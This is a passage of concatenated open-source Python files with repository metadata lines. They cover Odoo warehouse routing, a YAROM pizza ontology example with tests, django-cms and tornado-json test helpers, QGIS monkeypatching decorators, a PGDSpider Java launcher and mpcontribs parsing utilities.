'pick_pack_ship': _('Deliver in 3 steps (pick + pack + ship)')}
return names[route_type]
def get_rules_dict(self):
""" Define the rules source/destination locations, picking_type and
action needed for each warehouse route configuration.
"""
customer_loc, supplier_loc = self._get_partner_locations()
return {
warehouse.id: {
'one_step': [self.Routing(supplier_loc, warehouse.lot_stock_id, warehouse.in_type_id, 'pull')],
'two_steps': [
self.Routing(supplier_loc, warehouse.wh_input_stock_loc_id, warehouse.in_type_id, 'pull'),
self.Routing(warehouse.wh_input_stock_loc_id, warehouse.lot_stock_id, warehouse.int_type_id, 'pull_push')],
'three_steps': [
self.Routing(supplier_loc, warehouse.wh_input_stock_loc_id, warehouse.in_type_id, 'pull'),
self.Routing(warehouse.wh_input_stock_loc_id, warehouse.wh_qc_stock_loc_id, warehouse.int_type_id, 'pull_push'),
self.Routing(warehouse.wh_qc_stock_loc_id, warehouse.lot_stock_id, warehouse.int_type_id, 'pull_push')],
'crossdock': [
self.Routing(warehouse.wh_input_stock_loc_id, warehouse.wh_output_stock_loc_id, warehouse.int_type_id, 'pull'),
self.Routing(warehouse.wh_output_stock_loc_id, customer_loc, warehouse.out_type_id, 'pull')],
'ship_only': [self.Routing(warehouse.lot_stock_id, customer_loc, warehouse.out_type_id, 'pull')],
'pick_ship': [
self.Routing(warehouse.lot_stock_id, warehouse.wh_output_stock_loc_id, warehouse.pick_type_id, 'pull'),
self.Routing(warehouse.wh_output_stock_loc_id, customer_loc, warehouse.out_type_id, 'pull')],
'pick_pack_ship': [
self.Routing(warehouse.lot_stock_id, warehouse.wh_pack_stock_loc_id, warehouse.pick_type_id, 'pull'),
self.Routing(warehouse.wh_pack_stock_loc_id, warehouse.wh_output_stock_loc_id, warehouse.pack_type_id, 'pull'),
self.Routing(warehouse.wh_output_stock_loc_id, customer_loc, warehouse.out_type_id, 'pull')],
'company_id': warehouse.company_id.id,
} for warehouse in self
}
def _get_receive_rules_dict(self):
""" Return receive route rules without initial pull rule in order to update warehouse routes.
This function has the same receive route rules as get_rules_dict without an initial pull rule.
This is expected to be used by modules that extend stock and add actions that can trigger receive
'make_to_order' rules (i.e. we don't expect the receive route to be able to pull on its own anymore).
This is also expected to be used in conjuction with _get_receive_routes_values()
"""
return {
'one_step': [],
'two_steps': [self.Routing(self.wh_input_stock_loc_id, self.lot_stock_id, self.int_type_id, 'pull_push')],
'three_steps': [
self.Routing(self.wh_input_stock_loc_id, self.wh_qc_stock_loc_id, self.int_type_id, 'pull_push'),
self.Routing(self.wh_qc_stock_loc_id, self.lot_stock_id, self.int_type_id, 'pull_push')],
}
def _get_inter_warehouse_route_values(self, supplier_warehouse):
return {
'name': _('%(warehouse)s: Supply Product from %(supplier)s', warehouse=self.name, supplier=supplier_warehouse.name),
'warehouse_selectable': True,
'product_selectable': True,
'product_categ_selectable': True,
'supplied_wh_id': self.id,
'supplier_wh_id': supplier_warehouse.id,
'company_id': self.company_id.id,
}
# Pull / Push tools
# ------------------------------------------------------------
def _get_rule_values(self, route_values, values=None, name_suffix=''):
first_rule = True
rules_list = []
for routing in route_values:
route_rule_values = {
'name': self._format_rulename(routing.from_loc, routing.dest_loc, name_suffix),
'location_src_id': routing.from_loc.id,
'location_id': routing.dest_loc.id,
'action': routing.action,
'auto': 'manual',
'picking_type_id': routing.picking_type.id,
'procure_method': first_rule and 'make_to_stock' or 'make_to_order',
'warehouse_id': self.id,
'company_id': self.company_id.id,
'delay_alert': routing.picking_type.code == 'outgoing',
}
route_rule_values.update(values or {})
rules_list.append(route_rule_values)
first_rule = False
if values and values.get('propagate_cancel') and rules_list:
# In case of rules chain with cancel propagation set, we need to stop
# the cancellation for the last step in order to avoid cancelling
# any other move after the chain.
# Example: In the following flow:
# Input -> Quality check -> Stock -> Customer
# We want that cancelling I->GC cancel QC -> S but not S -> C
# which means:
# Input -> Quality check should have propagate_cancel = True
# Quality check -> Stock should have propagate_cancel = False
rules_list[-1]['propagate_cancel'] = False
return rules_list
def _get_supply_pull_rules_values(self, route_values, values=None):
pull_values = {}
pull_values.update(values)
pull_values.update({'active': True})
rules_list = self._get_rule_values(route_values, values=pull_values)
for pull_rules in rules_list:
pull_rules['procure_method'] = self.lot_stock_id.id != pull_rules['location_src_id'] and 'make_to_order' or 'make_to_stock' # first part of the resuply route is MTS
return rules_list
def _update_reception_delivery_resupply(self, reception_new, delivery_new):
""" Check if we need to change something to resupply warehouses and associated MTO rules """
input_loc, output_loc = self._get_input_output_locations(reception_new, delivery_new)
for warehouse in self:
if reception_new and warehouse.reception_steps != reception_new and (warehouse.reception_steps == 'one_step' or reception_new == 'one_step'):
warehouse._check_reception_resupply(input_loc)
if delivery_new and warehouse.delivery_steps != delivery_new and (warehouse.delivery_steps == 'ship_only' or delivery_new == 'ship_only'):
change_to_multiple = warehouse.delivery_steps == 'ship_only'
warehouse._check_delivery_resupply(output_loc, change_to_multiple)
def _check_delivery_resupply(self, new_location, change_to_multiple):
""" Check if the resupply routes from this warehouse follow the changes of number of delivery steps
Check routes being delivery bu this warehouse and change the rule going to transit location """
Rule = self.env["stock.rule"]
routes = self.env['stock.location.route'].search([('supplier_wh_id', '=', self.id)])
rules = Rule.search(['&', '&', ('route_id', 'in', routes.ids), ('action', '!=', 'push'), ('location_id.usage', '=', 'transit')])
rules.write({
'location_src_id': new_location.id,
'procure_method': change_to_multiple and "make_to_order" or "make_to_stock"})
if not change_to_multiple:
# If single delivery we should create the necessary MTO rules for the resupply
routings = [self.Routing(self.lot_stock_id, location, self.out_type_id, 'pull') for location in rules.mapped('location_id')]
mto_vals = self._get_global_route_rules_values().get('mto_pull_id')
values = mto_vals['create_values']
mto_rule_vals = self._get_rule_values(routings, values, name_suffix='MTO')
for mto_rule_val in mto_rule_vals:
Rule.create(mto_rule_val)
else:
# We need to delete all the MTO stock rules, otherwise they risk to be used in the system
Rule.search([
'&', ('route_id', '=', self._find_global_route('stock.route_warehouse0_mto', _('Make To Order')).id),
('location_id.usage', '=', 'transit'),
('action', '!=', 'push'),
('location_src_id', '=', self.lot_stock_id.id)]).write({'active': False})
def _check_reception_resupply(self, new_location):
""" Check routes being delivered by the warehouses (resupply routes) and
change their rule coming from the transit location """
routes = self.env['stock.location.route'].search([('supplied_wh_id', 'in', self.ids)])
self.env['stock.rule'].search([
'&',
('route_id', 'in', routes.ids),
'&',
('action', '!=', 'push'),
('location_src_id.usage', '=', 'transit')
]).write({'location_id': new_location.id})
def _update_name_and_code(self, new_name=False, new_code=False):
if new_code:
self.mapped('lot_stock_id').mapped('location_id').write({'name': new_code})
if new_name:
# TDE FIXME: replacing the route name ? not better to re-generate the route naming ?
for warehouse in self:
routes = warehouse.route_ids
for route in routes:
route.write({'name': route.name.replace(warehouse.name, new_name, 1)})
for pull in route.rule_ids:
pull.write({'name': pull.name.replace(warehouse.name, new_name, 1)})
if warehouse.mto_pull_id:
warehouse.mto_pull_id.write({'name': warehouse.mto_pull_id.name.replace(warehouse.name, new_name, 1)})
for warehouse in self:
sequence_data = warehouse._get_sequence_values()
# `ir.sequence` write access is limited to system user
if self.user_has_groups('stock.group_stock_manager'):
warehouse = warehouse.sudo()
warehouse.in_type_id.sequence_id.write(sequence_data['in_type_id'])
warehouse.out_type_id.sequence_id.write(sequence_data['out_type_id'])
warehouse.pack_type_id.sequence_id.write(sequence_data['pack_type_id'])
warehouse.pick_type_id.sequence_id.write(sequence_data['pick_type_id'])
warehouse.int_type_id.sequence_id.write(sequence_data['int_type_id'])
def _update_location_reception(self, new_reception_step):
self.mapped('wh_qc_stock_loc_id').write({'active': new_reception_step == 'three_steps'})
self.mapped('wh_input_stock_loc_id').write({'active': new_reception_step != 'one_step'})
def _update_location_delivery(self, new_delivery_step):
self.mapped('wh_pack_stock_loc_id').write({'active': new_delivery_step == 'pick_pack_ship'})
self.mapped('wh_output_stock_loc_id').write({'active': new_delivery_step != 'ship_only'})
# Misc
# ------------------------------------------------------------
def _get_picking_type_update_values(self):
""" Return values in order to update the existing picking type when the
warehouse's delivery_steps or reception_steps are modify.
"""
input_loc, output_loc = self._get_input_output_locations(self.reception_steps, self.delivery_steps)
return {
'in_type_id': {
'default_location_dest_id': input_loc.id,
'barcode': self.code.replace(" ", "").upper() + "-RECEIPTS",
},
'out_type_id': {
'default_location_src_id': output_loc.id,
'barcode': self.code.replace(" ", "").upper() + "-DELIVERY",
},
'pick_type_id': {
'active': self.delivery_steps != 'ship_only',
'default_location_dest_id': output_loc.id if self.delivery_steps == 'pick_ship' else self.wh_pack_stock_loc_id.id,
'barcode': self.code.replace(" ", "").upper() + "-PICK",
},
'pack_type_id': {
'active': self.delivery_steps == 'pick_pack_ship',
'barcode': self.code.replace(" ", "").upper() + "-PACK",
},
'int_type_id': {
'barcode': self.code.replace(" ", "").upper() + "-INTERNAL",
},
}
def _get_picking_type_create_values(self, max_sequence):
""" When a warehouse is created this method return the values needed in
order to create the new picking types for this warehouse. Every picking
type are created at the same time than the warehouse howver they are
activated or archived depending the delivery_steps or reception_steps.
"""
input_loc, output_loc = self._get_input_output_locations(self.reception_steps, self.delivery_steps)
return {
'in_type_id': {
'name': _('Receipts'),
'code': 'incoming',
'use_create_lots': True,
'use_existing_lots': False,
'default_location_src_id': False,
'sequence': max_sequence + 1,
'show_reserved': False,
'sequence_code': 'IN',
'company_id': self.company_id.id,
}, 'out_type_id': {
'name': _('Delivery Orders'),
'code': 'outgoing',
'use_create_lots': False,
'use_existing_lots': True,
'default_location_dest_id': False,
'sequence': max_sequence + 5,
'sequence_code': 'OUT',
'company_id': self.company_id.id,
}, 'pack_type_id': {
'name': _('Pack'),
'code': 'internal',
'use_create_lots': False,
'use_existing_lots': True,
'default_location_src_id': self.wh_pack_stock_loc_id.id,
'default_location_dest_id': output_loc.id,
'sequence': max_sequence + 4,
'sequence_code': 'PACK',
'company_id': self.company_id.id,
}, 'pick_type_id': {
'name': _('Pick'),
'code': 'internal',
'use_create_lots': False,
'use_existing_lots': True,
'default_location_src_id': self.lot_stock_id.id,
'sequence': max_sequence + 3,
'sequence_code': 'PICK',
'company_id': self.company_id.id,
}, 'int_type_id': {
'name': _('Internal Transfers'),
'code': 'internal',
'use_create_lots': False,
'use_existing_lots': True,
'default_location_src_id': self.lot_stock_id.id,
'default_location_dest_id': self.lot_stock_id.id,
'active': self.reception_steps != 'one_step' or self.delivery_steps != 'ship_only' or self.user_has_groups('stock.group_stock_multi_locations'),
'sequence': max_sequence + 2,
'sequence_code': 'INT',
'company_id': self.company_id.id,
},
}, max_sequence + 6
def _get_sequence_values(self):
""" Each picking type is created with a sequence. This method returns
the sequence values associated to each picking type.
"""
return {
'in_type_id': {
'name': self.name + ' ' + _('Sequence in'),
'prefix': self.code + '/IN/', 'padding': 5,
'company_id': self.company_id.id,
},
'out_type_id': {
'name': self.name + ' ' + _('Sequence out'),
'prefix': self.code + '/OUT/', 'padding': 5,
'company_id': self.company_id.id,
},
'pack_type_id': {
'name': self.name + ' ' + _('Sequence packing'),
'prefix': self.code + '/PACK/', 'padding': 5,
'company_id': self.company_id.id,
},
'pick_type_id': {
'name': self.name + ' ' + _('Sequence picking'),
'prefix': self.code + '/PICK/', 'padding': 5,
'company_id': self.company_id.id,
},
'int_type_id': {
'name': self.name + ' ' + _('Sequence internal'),
'prefix': self.code + '/INT/', 'padding': 5,
'company_id': self.company_id.id,
},
}
def _format_rulename(self, from_loc, dest_loc, suffix):
rulename = '%s: %s' % (self.code, from_loc.name)
if dest_loc:
rulename += ' → %s' % (dest_loc.name)
if suffix:
rulename += ' (' + suffix + ')'
return rulename
def _format_routename(self, name=None, route_type=None):
if route_type:
name = self._get_route_name(route_type)
return '%s: %s' % (self.name, name)
@api.returns('self')
def _get_all_routes(self):
routes = self.mapped('route_ids') | self.mapped('mto_pull_id').mapped('route_id')
routes |= self.env["stock.location.route"].search([('supplied_wh_id', 'in', self.ids)])
return routes
def action_view_all_routes(self):
routes = self._get_all_routes()
return {
'name': _('Warehouse\'s Routes'),
'domain': [('id', 'in', routes.ids)],
'res_model': 'stock.location.route',
'type': 'ir.actions.act_window',
'view_id': False,
'view_mode': 'tree,form',
'limit': 20,
'context': dict(self._context, default_warehouse_selectable=True, default_warehouse_ids=self.ids)
}
| ddico/odoo | addons/stock/models/stock_warehouse.py | Python | agpl-3.0 | 55,095 |
import yarom as Y
from yarom.rdfUtils import print_graph
import logging as L
Y.connect(conf={'rdf.namespace' : 'http://mark-watts.tk/entities/',
'rdf.source' : 'default'})
class ToppingAmount(Y.DataObject):
""" An amount of a topping """
class Topping(Y.DataObject):
""" A pluralization of a topping type. Represents a topping that can be added to
pizza rather than a single item in the set of toppings (like, it's not a single
mushroom, but a collection of mushrooms on a pizza)
"""
objectProperties = [{'name' : "amount", 'type' : ToppingAmount, 'multiple':False}]
class Meat(Topping):
pass
class Veggie(Topping):
pass
class Pepperoni(Meat):
pass
class Sausage(Meat):
pass
class Pepper(Veggie):
pass
class GreenPepper(Pepper):
pass
class Tomato(Veggie):
pass
class BlackOlive(Veggie):
pass
class Pizza(Y.DataObject):
""" A single pizza """
objectProperties = [{'name':"topped_with", 'type' : Topping}]
Y.mapper.MappedClass.remap()
def make_melanies_pizza():
pizza = Pizza(key="Melanie")
pepperoni = Pepperoni(key="heavy_pepperoni")
pizza.topped_with(pepperoni)
pepperoni.amount(ToppingAmount(key="heavy"))
pizza.save()
return pizza
def make_georges_pizza():
pizza = Pizza(key="George")
pepper = GreenPepper(key="some_green_peppers")
pepperoni = Pepperoni(key="heavy_pepperoni")
pizza.topped_with(pepper)
pizza.topped_with(pepperoni)
pepper.amount(ToppingAmount(key="light"))
pepperoni.amount(ToppingAmount(key="heavy"))
pizza.save()
return pizza
def make_simons_pizza():
pizza = Pizza(key="Simon")
pepper = GreenPepper(key="some_green_peppers")
pepperoni = Pepperoni(key="light_pepperoni")
sausage = Sausage(key="light_sausage")
pizza.topped_with(pepper)
pizza.topped_with(pepperoni)
pizza.topped_with(sausage)
pepper.amount(ToppingAmount(key="medium"))
pepperoni.amount(ToppingAmount(key="light"))
sausage.amount(ToppingAmount(key="light"))
pizza.save()
return pizza
def get_pizzas_with_pepperoni():
pizza = Pizza()
pizza.topped_with(Pepperoni())
for x in pizza.load():
yield x
def get_pizzas_with_sausage():
pizza = Pizza()
pizza.topped_with(Sausage())
for x in pizza.load():
yield x
def get_pizzas_with_peppers():
pizza = Pizza()
pizza.topped_with(GreenPepper())
for x in pizza.load():
yield x
def list_pizzas():
pizza = Pizza()
for x in pizza.load():
yield x
def print_results(l):
print("\n".join(" "+str(x) for x in l))
def get_object_graph_legends(p):
graph = p.get_defined_component()
return Legends(p, graph)()
class ObjectGraphLegendsAssertionError(AssertionError):
pass
class LegendsTests(object):
def assertEqual(self, a, b):
if not (a == b):
raise AssertionError(str(a) + " != " + str(b))
def assertObjectGraphLegends(self, p, s):
graph = p.get_defined_component()
res = Legends(p, graph)()
if not (res == s):
err = ObjectGraphLegendsAssertionError(str(res) + " != " + str(s))
err.graph = graph
raise err
def assertNumberOfObjectGraphLegends(self, p, n):
graph = p.get_defined_component()
res = Legends(p, graph)()
if not (len(res) == n):
err = ObjectGraphLegendsAssertionError(str(len(res)) + " != " + str(n))
err.graph = graph
raise err
def setup(self):
Y.MappedClass.remap()
def test_legends_1(self):
p = Pizza(key="p")
self.assertNumberOfObjectGraphLegends(p, 0)
def test_legends_2(self):
p = Pizza(key="p")
p.relate("is_impressed_with", p)
self.assertNumberOfObjectGraphLegends(p, 0)
def test_legends_3(self):
p = Pizza(key="p")
q = Pizza(key="q")
r = Pizza(key="r")
p.relate("owes_money_to", q)
r.relate("owes_money_to", q)
self.assertObjectGraphLegends(p, set([q, p.rdf_type_object]))
def test_legends_4(self):
p = Pizza(key="p")
q = Pizza(key="q")
r = Pizza(key="r")
p.relate("owes_money_to", q)
q.relate("owes_money_to", r)
r.relate("owes_money_to", p)
self.assertNumberOfObjectGraphLegends(p, 0)
def test_legends_5(self):
p = Pizza(key="p")
q = Pizza(key="q")
r = Pizza(key="r")
p.relate("owes_money_to", q)
q.relate("owes_money_to", p)
r.relate("owes_money_to", p)
self.assertObjectGraphLegends(p, set([p.rdf_type_object]))
def test_legends_6(self):
p = Pizza(key="p")
r = Pizza(key="r")
p.relate("owes_money_to", p)
r.relate("owes_money_to", p)
self.assertObjectGraphLegends(p, set([p.rdf_type_object]))
def test_legends_7(self):
p = Pizza(key="p")
r = Pizza(key="r")
p.relate("owes_money_to", r)
p.relate("owes_money_to", r)
self.assertObjectGraphLegends(p, set([]))
def test_legends_8(self):
p = Pizza(key="p")
r = Pizza(key="r")
p.relate("owes_money_to", r)
r.relate("owes_money_to", r)
self.assertObjectGraphLegends(p, set([]))
def test_legends_9(self):
p = Pizza(key="p")
r = Pizza(key="r")
q = Pizza(key="q")
p.relate("owes_money_to", q)
q.relate("owes_money_to", r)
p.relate("owes_money_to", r)
self.assertObjectGraphLegends(p, set([]))
def test_legends_10(self):
p = Pizza(key="p")
r = Pizza(key="r")
s = Pizza(key="s")
q = Pizza(key="q")
p.relate("owes_money_to", q)
q.relate("owes_money_to", r)
p.relate("owes_money_to", s)
s.relate("owes_money_to", r)
s.relate("owes_money_to", s)
self.assertObjectGraphLegends(p, set([]))
@classmethod
def run(cls):
to = cls()
tests = [t for t in dir(to) if t.startswith('test_')]
for test in tests:
try:
to.setup()
getattr(to, test)()
except ObjectGraphLegendsAssertionError as e:
print("failed", test, str(e))
testfunc = getattr(to, test)
if testfunc.__doc__ is not None:
print(testfunc.__doc__)
print("graph:")
print_graph(e.graph, hide_namespaces=True)
def heading(s):
spaces = "="*(len(s)+10)
print(spaces)
print(" "*5+s)
print(spaces)
def pizza_demo():
heading("deleting all of the pizzas (;_;)")
for x in Pizza().load():
retract(x)
mels = make_melanies_pizza()
georges = make_georges_pizza()
simons = make_simons_pizza()
print_graph(mels.rdf, True)
heading("all pizzas")
print_results(list_pizzas())
heading("pizzas with pepperoni")
print_results(get_pizzas_with_pepperoni())
heading("pizzas with sausage")
print_results(get_pizzas_with_sausage())
heading("pizzas with green peppers")
print_results(get_pizzas_with_peppers())
heading("Mel's pizza toppings")
print_results(mels.topped_with())
heading("eating all of the pizzas")
for x in Pizza().load():
retract(x)
print_graph(mels.rdf, True)
Y.disconnect()
def KillHeros_demo():
p = Pizza(key="p")
r = Pizza(key="r")
s = Pizza(key="s")
q = Pizza(key="q")
p.relate("owes_money_to", q)
q.relate("owes_money_to", r)
p.relate("owes_money_to", s)
s.relate("owes_money_to", r)
s.relate("owes_money_to", s)
Y.mapper.MappedClass.remap()
graph = p.get_defined_component()
print_graph(graph)
#KillHeros(p, graph)()
#print_graph(graph, True)
def render_graph_dot(g):
import tempfile
from subprocess import call
from os import fork
from sys import exit
from rdflib.tools.rdf2dot import rdf2dot
with tempfile.TemporaryFile() as f:
rdf2dot(g, f)
f.seek(0, 0) # start of stream
g,gname = tempfile.mkstemp()
call("dot -T png -o "+gname, stdin = f, shell=True)
call("feh "+gname, shell = True)
def retract(o):
o.retract_objectG()
if __name__ == '__main__':
pizza_demo()
| mwatts15/YAROM | examples/pizza.py | Python | bsd-3-clause | 8,308 |
# -*- coding: utf-8 -*-
from menus.base import NavigationNode
from menus.menu_pool import menu_pool
from cms.menu_bases import CMSAttachMenu
class TestMenu(CMSAttachMenu):
name = "test menu"
def get_nodes(self, request):
nodes = []
n = NavigationNode('sample root page', "/", 1)
n2 = NavigationNode('sample settings page', "/bye/", 2)
n3 = NavigationNode('sample account page', "/hello/", 3)
n4 = NavigationNode('sample my profile page', "/hello/world/", 4, 3)
nodes.append(n)
nodes.append(n2)
nodes.append(n3)
nodes.append(n4)
return nodes
menu_pool.register_menu(TestMenu)
| Venturi/oldcms | env/lib/python2.7/site-packages/cms/test_utils/util/menu_extender.py | Python | apache-2.0 | 668 |
import sys
import os
import pytest
from tornado.web import URLSpec
from .utils import handle_import_error
try:
sys.path.append('.')
from tornado_json.api_doc_gen import _get_tuple_from_route
from tornado_json.api_doc_gen import get_api_docs
from tornado_json.routes import get_routes
sys.path.append("demos/helloworld")
import helloworld
except ImportError as err:
handle_import_error(err)
def test__get_tuple_from_route():
"""Test tornado_json.api_doc_gen._get_tuple_from_route"""
pattern = r"/$"
handler_class = object
expected_output = (pattern, handler_class)
# Test 2-tuple
assert _get_tuple_from_route((pattern, handler_class)) == expected_output
# Test 3-tuple (with the extra arg as kwarg(s)
assert _get_tuple_from_route((pattern, handler_class, None)) == expected_output
# Test URLSpec
assert _get_tuple_from_route(URLSpec(pattern, handler_class)) == expected_output
# Test invalid type
with pytest.raises(TypeError):
_get_tuple_from_route([])
# Test malformed tuple (i.e., smaller length than 2)
with pytest.raises(AssertionError):
_get_tuple_from_route(("foobar",))
def test__get_api_docs():
relative_dir = os.path.abspath(os.path.dirname(__file__))
filepath = os.path.join(relative_dir, "helloworld_API_documentation.md")
HELLOWORLD_DOC = open(filepath).read()
assert get_api_docs(get_routes(helloworld)) == HELLOWORLD_DOC
| Tarsbot/Tornado-JSON | tests/test_api_doc_gen.py | Python | mit | 1,461 |
# -*- coding: utf-8 -*-
"""
/***************************************************************************
ApiCompat
A QGIS plugin
API compatibility layer
-------------------
begin : 2013-07-02
copyright : (C) 2013 by Pirmin Kalberer, Sourcepole
email : [email protected]
***************************************************************************/
/***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
***************************************************************************/
"""
#http://blog.ianbicking.org/2007/08/08/opening-python-classes/
import types
import inspect
def add_method(obj):
"""
Adds a function/method to an object. Uses the name of the first
argument as a hint about whether it is a method (``self``), class
method (``cls`` or ``klass``), or static method (anything else).
Works on both instances and classes.
>>> class color:
... def __init__(self, r, g, b):
... self.r, self.g, self.b = r, g, b
>>> c = color(0, 1, 0)
>>> c # doctest: +ELLIPSIS
<__main__.color instance at ...>
>>> @add_method(color)
... def __repr__(self):
... return '<color %s %s %s>' % (self.r, self.g, self.b)
>>> c
<color 0 1 0>
>>> @add_method(color)
... def red(cls):
... return cls(1, 0, 0)
>>> color.red()
<color 1 0 0>
>>> c.red()
<color 1 0 0>
>>> @add_method(color)
... def name():
... return 'color'
>>> color.name()
'color'
>>> @add_method(c)
... def name(self):
... return 'red'
>>> c.name()
'red'
>>> @add_method(c)
... def name(cls):
... return cls.__name__
>>> c.name()
'color'
>>> @add_method(c)
... def pr(obj):
... print obj
>>> c.pr(1)
1
"""
def decorator(func):
is_class = (isinstance(obj, type)
or isinstance(obj, types.ClassType))
args, varargs, varkw, defaults = inspect.getargspec(func)
if not args or args[0] not in ('self', 'cls', 'klass'):
# Static function/method
if is_class:
replacement = staticmethod(func)
else:
replacement = func
elif args[0] == 'self':
if is_class:
replacement = func
else:
def replacement(*args, **kw):
return func(obj, *args, **kw)
try:
replacement.func_name = func.func_name
except:
pass
else:
if is_class:
replacement = classmethod(func)
else:
def replacement(*args, **kw):
return func(obj.__class__, *args, **kw)
try:
replacement.func_name = func.func_name
except:
pass
setattr(obj, func.func_name, replacement)
return replacement
return decorator
#http://moonbase.rydia.net/mental/blog/programming/a-monkeypatching-decorator-for-python.html
from functools import wraps
def patches(target, name, external_decorator=None):
def decorator(patch_function):
original_function = getattr(target, name)
@wraps(patch_function)
def wrapper(*args, **kw):
return patch_function(original_function, *args, **kw)
if external_decorator is not None:
wrapper = external_decorator(wrapper)
setattr(target, name, wrapper)
return wrapper
return decorator
| manisandro/qgis-cloud-plugin | qgiscloud/apicompat/sipv1/decorators.py | Python | gpl-2.0 | 4,270 |
class Edge:
def __init__(self, from_node, to_node, valence):
self.from_node = from_node
self.to_node = to_node
self.valence = valence | dwettstein/pattern-recognition-2016 | molecules/edge.py | Python | mit | 161 |
from django.contrib.gis.db import models
class City(models.Model):
name = models.CharField(max_length=60)
insee = models.CharField(max_length=5)
zip = models.CharField(max_length=5)
geom = models.PointField()
objects = models.GeoManager()
class Place(models.Model):
"""
A place in the world
"""
objects = models.GeoManager()
address = models.TextField()
geom = models.PointField()
def __unicode__(self):
return self.address
| SpreadBand/SpreadBand | apps/world/models.py | Python | agpl-3.0 | 487 |
#!/usr/bin/env python
#
# Wrapper script for Java Conda packages that ensures that the java runtime
# is invoked with the right options. Adapted from the bash script (http://stackoverflow.com/questions/59895/can-a-bash-script-tell-what-directory-its-stored-in/246128#246128).
#
# Program Parameters
#
import os
import subprocess
import sys
import shutil
from os import access
from os import getenv
from os import X_OK
jar_file = 'PGDSpider2-cli.jar'
default_jvm_mem_opts = ['-Xms512m', '-Xmx1g']
# !!! End of parameter section. No user-serviceable code below this line !!!
def real_dirname(path):
"""Return the symlink-resolved, canonicalized directory-portion of path."""
return os.path.dirname(os.path.realpath(path))
def java_executable():
"""Return the executable name of the Java interpreter."""
java_home = getenv('JAVA_HOME')
java_bin = os.path.join('bin', 'java')
if java_home and access(os.path.join(java_home, java_bin), X_OK):
return os.path.join(java_home, java_bin)
else:
return 'java'
def jvm_opts(argv):
"""Construct list of Java arguments based on our argument list.
The argument list passed in argv must not include the script name.
The return value is a 3-tuple lists of strings of the form:
(memory_options, prop_options, passthrough_options)
"""
mem_opts = []
prop_opts = []
pass_args = []
exec_dir = None
for arg in argv:
if arg.startswith('-D'):
prop_opts.append(arg)
elif arg.startswith('-XX'):
prop_opts.append(arg)
elif arg.startswith('-Xm'):
mem_opts.append(arg)
elif arg.startswith('--exec_dir='):
exec_dir = arg.split('=')[1].strip('"').strip("'")
if not os.path.exists(exec_dir):
shutil.copytree(real_dirname(sys.argv[0]), exec_dir, symlinks=False, ignore=None)
else:
pass_args.append(arg)
# In the original shell script the test coded below read:
# if [ "$jvm_mem_opts" == "" ] && [ -z ${_JAVA_OPTIONS+x} ]
# To reproduce the behaviour of the above shell code fragment
# it is important to explictly check for equality with None
# in the second condition, so a null envar value counts as True!
if mem_opts == [] and getenv('_JAVA_OPTIONS') is None:
mem_opts = default_jvm_mem_opts
return (mem_opts, prop_opts, pass_args, exec_dir)
def main():
java = java_executable()
"""
PeptideShaker updates files relative to the path of the jar file.
In a multiuser setting, the option --exec_dir="exec_dir"
can be used as the location for the peptide-shaker distribution.
If the exec_dir dies not exist,
we copy the jar file, lib, and resources to the exec_dir directory.
"""
(mem_opts, prop_opts, pass_args, exec_dir) = jvm_opts(sys.argv[1:])
jar_dir = exec_dir if exec_dir else real_dirname(sys.argv[0])
if pass_args != [] and pass_args[0].startswith('eu'):
jar_arg = '-cp'
else:
jar_arg = '-jar'
jar_path = os.path.join(jar_dir, jar_file)
java_args = [java] + mem_opts + prop_opts + [jar_arg] + [jar_path] + pass_args
sys.exit(subprocess.call(java_args))
if __name__ == '__main__':
main()
| ostrokach/bioconda-recipes | recipes/pgdspider/PGDSpider2-cli.py | Python | mit | 3,267 |
# -*- coding: utf-8 -*-
"""module defines utility methods for MPContribs core.io library"""
from __future__ import unicode_literals
from decimal import Decimal, DecimalException, InvalidOperation
import six
from mpcontribs.io.core import mp_id_pattern
try:
from StringIO import StringIO
except ImportError:
from io import StringIO
def get_short_object_id(cid):
"""return shortened contribution ID (ObjectId) for `cid`.
>>> get_short_object_id('5a8638add4f144413451852a')
'451852a'
>>> get_short_object_id('5a8638add4f1400000000000')
'5a8638a'
"""
length = 7
cid_short = str(cid)[-length:]
if cid_short == "0" * length:
cid_short = str(cid)[:length]
return cid_short
def make_pair(key, value, sep=":"):
"""return string for `key`-`value` pair with separator `sep`.
>>> make_pair('Phase', 'Hollandite')
u'Phase: Hollandite'
>>> print make_pair('ΔH', '0.066 eV/mol', sep=';')
ΔH; 0.066 eV/mol
>>> make_pair('k', 2.3)
u'k: 2.3'
"""
if not isinstance(value, six.string_types):
value = str(value)
return "{} ".format(sep).join([key, value])
def nest_dict(dct, keys):
# """nest `dct` under list of `keys`.
# >>> print nest_dict({'key': {'subkey': 'value'}}, ['a', 'b'])
# RecursiveDict([('a', RecursiveDict([('b', RecursiveDict([('key', RecursiveDict([('subkey', u'value')]))]))]))])
# """
from mpcontribs.io.core.recdict import RecursiveDict
nested_dict = dct
# nested_dict = RecursiveDict(dct)
# nested_dict.rec_update()
for key in reversed(keys):
nested_dict = RecursiveDict({key: nested_dict})
return nested_dict
def get_composition_from_string(comp_str):
"""validate and return composition from string `comp_str`."""
from pymatgen.core import Composition, Element
comp = Composition(comp_str)
for element in comp.elements:
Element(element)
formula = comp.get_integer_formula_and_factor()[0]
comp = Composition(formula)
return "".join(
[
"{}{}".format(key, int(value) if value > 1 else "")
for key, value in comp.as_dict().items()
]
)
def normalize_root_level(title):
"""convert root-level title into conventional identifier; non-identifiers
become part of shared (meta-)data. Returns: (is_general, title)"""
from pymatgen.core.composition import CompositionError
try:
composition = get_composition_from_string(title)
return False, composition
except (CompositionError, KeyError, TypeError, ValueError):
if mp_id_pattern.match(title.lower()):
return False, title.lower()
return True, title
def clean_value(value, unit="", convert_to_percent=False, max_dgts=3):
"""return clean value with maximum digits and optional unit and percent"""
dgts = max_dgts
value = str(value) if not isinstance(value, six.string_types) else value
try:
value = Decimal(value)
dgts = len(value.as_tuple().digits)
dgts = max_dgts if dgts > max_dgts else dgts
except DecimalException:
return value
if convert_to_percent:
value = Decimal(value) * Decimal("100")
unit = "%"
val = "{{:.{}g}}".format(dgts).format(value)
if unit:
val += " {}".format(unit)
return val
def strip_converter(text):
"""http://stackoverflow.com/questions/13385860"""
try:
text = text.strip()
if not text:
return ""
val = clean_value(text, max_dgts=6)
return str(Decimal(val))
except InvalidOperation:
return text
def read_csv(body, is_data_section=True, **kwargs):
"""run pandas.read_csv on (sub)section body"""
csv_comment_char = "#"
import pandas
body = body.strip()
if not body:
return None
from mpcontribs.io.core.components.tdata import Table
if is_data_section:
cur_line = 1
